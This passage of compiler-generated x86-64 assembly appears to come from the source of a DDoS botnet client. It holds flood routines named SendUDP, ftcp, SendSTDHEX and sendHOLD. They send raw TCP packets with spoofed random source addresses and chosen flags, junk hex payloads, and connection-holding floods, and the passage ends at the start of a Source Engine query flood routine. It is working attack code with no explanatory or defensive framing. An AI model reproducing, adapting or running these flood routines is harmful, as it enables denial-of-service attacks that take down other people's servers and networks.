	mov	rax, QWORD PTR -80[rbp]
	mov	WORD PTR 4[rax], dx
	mov	eax, DWORD PTR -104[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	rdx, QWORD PTR -80[rbp]
	mov	DWORD PTR 12[rdx], eax
	mov	rax, QWORD PTR -80[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -80[rbp]
	mov	WORD PTR 10[rdx], ax
	cmp	r12d, r13d
	jne	.L173
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -100[rbp], eax
	jl	.L184
	mov	r12d, 0
	jmp	.L176
.L173:
	add	r12d, 1
.L176:
	jmp	.L177
.L184:
	nop
	mov	rsp, r14
	jmp	.L157
.L181:
	nop
	jmp	.L157
.L182:
	nop
	jmp	.L157
.L183:
	nop
.L157:
	mov	rax, QWORD PTR -40[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L179
	call	__stack_chk_fail@PLT
.L179:
	lea	rsp, -32[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE25:
	.size	SendUDP, .-SendUDP
	.section	.rodata
.LC12:
	.string	"all"
.LC13:
	.string	","
.LC14:
	.string	"syn"
.LC15:
	.string	"rst"
.LC16:
	.string	"fin"
.LC17:
	.string	"ack"
.LC18:
	.string	"psh"
	.text
	.globl	ftcp
	.type	ftcp, @function
ftcp:
.LFB26:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 160
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -136[rbp], rdi
	mov	DWORD PTR -140[rbp], esi
	mov	DWORD PTR -144[rbp], edx
	mov	DWORD PTR -148[rbp], ecx
	mov	QWORD PTR -160[rbp], r8
	mov	DWORD PTR -152[rbp], r9d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	mov	rax, rsp
	mov	r14, rax
	mov	r13d, DWORD PTR 16[rbp]
	mov	WORD PTR -64[rbp], 2
	cmp	DWORD PTR -140[rbp], 0
	jne	.L186
	call	rand_cmwc
	mov	WORD PTR -62[rbp], ax
	jmp	.L187
.L186:
	mov	eax, DWORD PTR -140[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -62[rbp], ax
.L187:
	lea	rax, -64[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -136[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	jne	.L216
	lea	rax, -64[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edx, 6
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -112[rbp], eax
	cmp	DWORD PTR -112[rbp], 0
	je	.L217
	mov	DWORD PTR -120[rbp], 1
	lea	rdx, -120[rbp]
	mov	eax, DWORD PTR -112[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	js	.L218
	cmp	DWORD PTR -148[rbp], 0
	jne	.L192
	mov	DWORD PTR -116[rbp], 0
	jmp	.L193
.L192:
	mov	eax, 32
	sub	eax, DWORD PTR -148[rbp]
	mov	edx, 1
	mov	ecx, eax
	sal	edx, cl
	mov	eax, edx
	neg	eax
	mov	DWORD PTR -116[rbp], eax
.L193:
	mov	eax, DWORD PTR -152[rbp]
	cdqe
	lea	rbx, 40[rax]
	mov	rax, rbx
	sub	rax, 1
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -176[rbp], rbx
	mov	QWORD PTR -168[rbp], 0
	mov	QWORD PTR -192[rbp], rbx
	mov	QWORD PTR -184[rbp], 0
	mov	eax, 16
	sub	rax, 1
	add	rax, rbx
	mov	ecx, 16
	mov	edx, 0
	div	rcx
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L194:
	cmp	rsp, rdx
	je	.L195
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L194
.L195:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L196
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L196:
	mov	rax, rsp
	add	rax, 0
	mov	QWORD PTR -88[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	mov	QWORD PTR -80[rbp], rax
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 20
	mov	QWORD PTR -72[rbp], rax
	mov	eax, DWORD PTR -152[rbp]
	add	eax, 20
	mov	r12d, eax
	mov	eax, DWORD PTR -116[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	edx, eax
	mov	esi, DWORD PTR -60[rbp]
	mov	rax, QWORD PTR -80[rbp]
	mov	r8d, r12d
	mov	ecx, 6
	mov	rdi, rax
	call	makeIPPacket
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR [rax], dx
	call	rand_cmwc
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR 4[rdx], eax
	mov	rax, QWORD PTR -72[rbp]
	mov	DWORD PTR 8[rax], 0
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 12[rax]
	and	edx, 15
	or	edx, 80
	mov	BYTE PTR 12[rax], dl
	mov	rax, QWORD PTR -160[rbp]
	lea	rsi, .LC12[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L197
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 2
	mov	BYTE PTR 13[rax], dl
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 4
	mov	BYTE PTR 13[rax], dl
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 1
	mov	BYTE PTR 13[rax], dl
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 16
	mov	BYTE PTR 13[rax], dl
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 8
	mov	BYTE PTR 13[rax], dl
	jmp	.L198
.L197:
	mov	rax, QWORD PTR -160[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -104[rbp], rax
	jmp	.L199
.L205:
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC14[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L200
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 2
	mov	BYTE PTR 13[rax], dl
	jmp	.L201
.L200:
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC15[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L202
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 4
	mov	BYTE PTR 13[rax], dl
	jmp	.L201
.L202:
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC16[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L203
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 1
	mov	BYTE PTR 13[rax], dl
	jmp	.L201
.L203:
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC17[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L204
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 16
	mov	BYTE PTR 13[rax], dl
	jmp	.L201
.L204:
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC18[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L201
	mov	rax, QWORD PTR -72[rbp]
	movzx	edx, BYTE PTR 13[rax]
	or	edx, 8
	mov	BYTE PTR 13[rax], dl
.L201:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -104[rbp], rax
.L199:
	cmp	QWORD PTR -104[rbp], 0
	jne	.L205
.L198:
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR 14[rax], dx
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR 16[rax], 0
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR 18[rax], 0
	cmp	DWORD PTR -140[rbp], 0
	jne	.L206
	call	rand_cmwc
	jmp	.L207
.L206:
	mov	eax, DWORD PTR -140[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
.L207:
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rdx, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	tcpcsum
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 16[rdx], ax
	mov	rax, QWORD PTR -80[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -80[rbp]
	mov	WORD PTR 10[rdx], ax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -144[rbp]
	add	eax, edx
	mov	DWORD PTR -108[rbp], eax
	mov	r12d, 0
.L212:
	lea	rdx, -64[rbp]
	mov	rsi, QWORD PTR -88[rbp]
	mov	eax, DWORD PTR -112[rbp]
	mov	r9d, 16
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rbx
	mov	edi, eax
	call	sendto@PLT
	mov	eax, DWORD PTR -116[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	rdx, QWORD PTR -80[rbp]
	mov	DWORD PTR 12[rdx], eax
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -80[rbp]
	mov	WORD PTR 4[rax], dx
	call	rand_cmwc
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR 4[rdx], eax
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR [rax], dx
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR 16[rax], 0
	mov	rdx, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	tcpcsum
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 16[rdx], ax
	mov	rax, QWORD PTR -80[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -80[rbp]
	mov	WORD PTR 10[rdx], ax
	cmp	r12d, r13d
	jne	.L208
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -108[rbp], eax
	jl	.L219
	mov	r12d, 0
	jmp	.L211
.L208:
	add	r12d, 1
.L211:
	jmp	.L212
.L219:
	nop
	mov	rsp, r14
	jmp	.L185
.L216:
	nop
	jmp	.L189
.L217:
	nop
	jmp	.L189
.L218:
	nop
.L189:
	mov	rsp, r14
.L185:
	mov	rax, QWORD PTR -40[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L214
	call	__stack_chk_fail@PLT
.L214:
	lea	rsp, -32[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE26:
	.size	ftcp, .-ftcp
	.section	.rodata
	.align 8
.LC19:
	.string	"X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X"
	.align 8
.LC20:
	.ascii	"/x8r/x58"
	.string	"/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58"
	.text
	.globl	SendSTDHEX
	.type	SendSTDHEX, @function
SendSTDHEX:
.LFB27:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 96
	mov	QWORD PTR -88[rbp], rdi
	mov	DWORD PTR -92[rbp], esi
	mov	DWORD PTR -96[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edx, 0
	mov	esi, 2
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -68[rbp], eax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cdqe
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	mov	rdi, rax
	call	gethostbyname@PLT
	mov	QWORD PTR -56[rbp], rax
	lea	rax, -48[rbp]
	mov	QWORD PTR [rax], 0
	mov	QWORD PTR 8[rax], 0
	mov	rax, QWORD PTR -56[rbp]
	mov	eax, DWORD PTR 20[rax]
	movsx	rdx, eax
	mov	rax, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR 24[rax]
	mov	rax, QWORD PTR [rax]
	lea	rcx, -48[rbp]
	add	rcx, 4
	mov	rsi, rax
	mov	rdi, rcx
	call	memmove@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	WORD PTR -48[rbp], ax
	mov	eax, DWORD PTR -92[rbp]
	mov	WORD PTR -46[rbp], ax
	mov	DWORD PTR -72[rbp], 0
.L223:
	lea	rax, .LC19[rip]
	mov	QWORD PTR -32[rbp], rax
	lea	rax, .LC20[rip]
	mov	QWORD PTR -24[rbp], rax
	cmp	DWORD PTR -72[rbp], 49
	jbe	.L221
	lea	rsi, -32[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	ecx, 0
	mov	edx, 1460
	mov	edi, eax
	call	send@PLT
	lea	rcx, -48[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cdqe
	mov	edx, DWORD PTR -96[rbp]
	movsx	rcx, edx
	mov	rdx, QWORD PTR -64[rbp]
	add	rdx, rcx
	cmp	rax, rdx
	jl	.L222
	mov	eax, DWORD PTR -68[rbp]
	mov	edi, eax
	call	close@PLT
	mov	edi, 0
	call	_exit@PLT
.L222:
	mov	DWORD PTR -72[rbp], 0
.L221:
	add	DWORD PTR -72[rbp], 1
	jmp	.L223
	.cfi_endproc
.LFE27:
	.size	SendSTDHEX, .-SendSTDHEX
	.globl	sendHOLD
	.type	sendHOLD, @function
sendHOLD:
.LFB28:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 264
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -296[rbp], rdi
	mov	DWORD PTR -300[rbp], esi
	mov	DWORD PTR -304[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	rax, rsp
	mov	rbx, rax
	call	getdtablesize@PLT
	mov	edx, eax
	shr	edx, 31
	add	eax, edx
	sar	eax
	mov	DWORD PTR -276[rbp], eax
	mov	WORD PTR -208[rbp], 2
	mov	eax, DWORD PTR -300[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -206[rbp], ax
	lea	rax, -208[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -296[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	je	.L226
	mov	rsp, rbx
	jmp	.L225
.L226:
	lea	rax, -208[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -276[rbp]
	movsx	rdx, eax
	sub	rdx, 1
	mov	QWORD PTR -248[rbp], rdx
	movsx	rdx, eax
	mov	r14, rdx
	mov	r15d, 0
	movsx	rdx, eax
	mov	r12, rdx
	mov	r13d, 0
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	eax, 16
	sub	rax, 1
	add	rax, rdx
	mov	esi, 16
	mov	edx, 0
	div	rsi
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L228:
	cmp	rsp, rdx
	je	.L229
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L228
.L229:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L230
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L230:
	mov	rax, rsp
	add	rax, 3
	shr	rax, 2
	sal	rax, 2
	mov	QWORD PTR -240[rbp], rax
	mov	eax, DWORD PTR -276[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rdx, rax
	mov	rax, QWORD PTR -240[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 1024
	call	malloc@PLT
	mov	QWORD PTR -232[rbp], rax
	mov	rax, QWORD PTR -232[rbp]
	mov	edx, 1024
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -304[rbp]
	add	eax, edx
	mov	DWORD PTR -272[rbp], eax
	jmp	.L231
.L245:
	mov	DWORD PTR -280[rbp], 0
	jmp	.L232
.L244:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	movzx	eax, BYTE PTR 4[rax+rdx*8]
	movzx	eax, al
	cmp	eax, 2
	je	.L233
	cmp	eax, 2
	jg	.L234
	test	eax, eax
	je	.L235
	cmp	eax, 1
	je	.L236
	jmp	.L234
.L235:
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	rdx, QWORD PTR -240[rbp]
	mov	ecx, DWORD PTR -280[rbp]
	movsx	rcx, ecx
	mov	DWORD PTR [rdx+rcx*8], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	or	ah, 8
	mov	edx, eax
	mov	rax, QWORD PTR -240[rbp]
	mov	ecx, DWORD PTR -280[rbp]
	movsx	rcx, ecx
	mov	eax, DWORD PTR [rax+rcx*8]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	rcx, -208[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L237
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 115
	je	.L238
.L237:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	jmp	.L234
.L238:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 1
	jmp	.L234
.L236:
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -192[rbp]
	mov	rdi, rdx
#APP
# 705 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -256[rbp], edx
	mov	DWORD PTR -252[rbp], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -192[rbp+rax*8]
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -192[rbp+rax*8], rdx
	mov	QWORD PTR -224[rbp], 0
	mov	QWORD PTR -216[rbp], 10000
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edi, 1[rax]
	lea	rdx, -224[rbp]
	lea	rax, -192[rbp]
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rax
	mov	esi, 0
	call	select@PLT
	mov	DWORD PTR -260[rbp], eax
	cmp	DWORD PTR -260[rbp], 1
	jne	.L240
	mov	DWORD PTR -288[rbp], 4
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	rcx, -288[rbp]
	lea	rdx, -284[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 4
	mov	esi, 1
	mov	edi, eax
	call	getsockopt@PLT
	mov	eax, DWORD PTR -284[rbp]
	test	eax, eax
	je	.L241
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L247
.L241:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 2
	jmp	.L247
.L240:
	cmp	DWORD PTR -260[rbp], -1
	jne	.L247
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L247
.L233:
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -192[rbp]
	mov	rdi, rdx
#APP
# 731 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -268[rbp], edx
	mov	DWORD PTR -264[rbp], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -192[rbp+rax*8]
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -192[rbp+rax*8], rdx
	mov	QWORD PTR -224[rbp], 0
	mov	QWORD PTR -216[rbp], 10000
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edi, 1[rax]
	lea	rdx, -224[rbp]
	lea	rax, -192[rbp]
	mov	r8, rdx
	mov	rcx, rax
	mov	edx, 0
	mov	esi, 0
	call	select@PLT
	mov	DWORD PTR -260[rbp], eax
	cmp	DWORD PTR -260[rbp], 0
	je	.L248
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -280[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L248
.L247:
	nop
	jmp	.L234
.L248:
	nop
.L234:
	add	DWORD PTR -280[rbp], 1
.L232:
	mov	eax, DWORD PTR -280[rbp]
	cmp	eax, DWORD PTR -276[rbp]
	jl	.L244
.L231:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -272[rbp], eax
	jg	.L245
	mov	rsp, rbx
.L225:
	mov	rax, QWORD PTR -56[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L246
	call	__stack_chk_fail@PLT
.L246:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE28:
	.size	sendHOLD, .-sendHOLD
	.globl	socket_connect
	.type	socket_connect, @function
socket_connect:
.LFB29:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	QWORD PTR -56[rbp], rdi
	mov	eax, esi
	mov	WORD PTR -60[rbp], ax
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -48[rbp], 1
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	call	gethostbyname@PLT
	mov	QWORD PTR -40[rbp], rax
	cmp	QWORD PTR -40[rbp], 0
	jne	.L250
	mov	eax, 0
	jmp	.L254
.L250:
	mov	rax, QWORD PTR -40[rbp]
	mov	eax, DWORD PTR 20[rax]
	movsx	rdx, eax
	mov	rax, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR 24[rax]
	mov	rax, QWORD PTR [rax]
	lea	rcx, -32[rbp]
	add	rcx, 4
	mov	rsi, rax
	mov	rdi, rcx
	call	memmove@PLT
	movzx	eax, WORD PTR -60[rbp]
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	mov	WORD PTR -32[rbp], 2
	mov	edx, 6
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -44[rbp], eax
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -44[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 6
	mov	edi, eax
	call	setsockopt@PLT
	cmp	DWORD PTR -44[rbp], -1
	jne	.L252
	mov	eax, 0
	jmp	.L254
.L252:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -44[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L253
	mov	eax, 0
	jmp	.L254
.L253:
	mov	eax, DWORD PTR -44[rbp]
.L254:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L255
	call	__stack_chk_fail@PLT
.L255:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE29:
	.size	socket_connect, .-socket_connect
	.section	.rodata
	.align 8
.LC21:
	.string	"TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms"
	.text
	.globl	makevsepacket
	.type	makevsepacket, @function
makevsepacket:
.LFB30:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	QWORD PTR -40[rbp], rdi
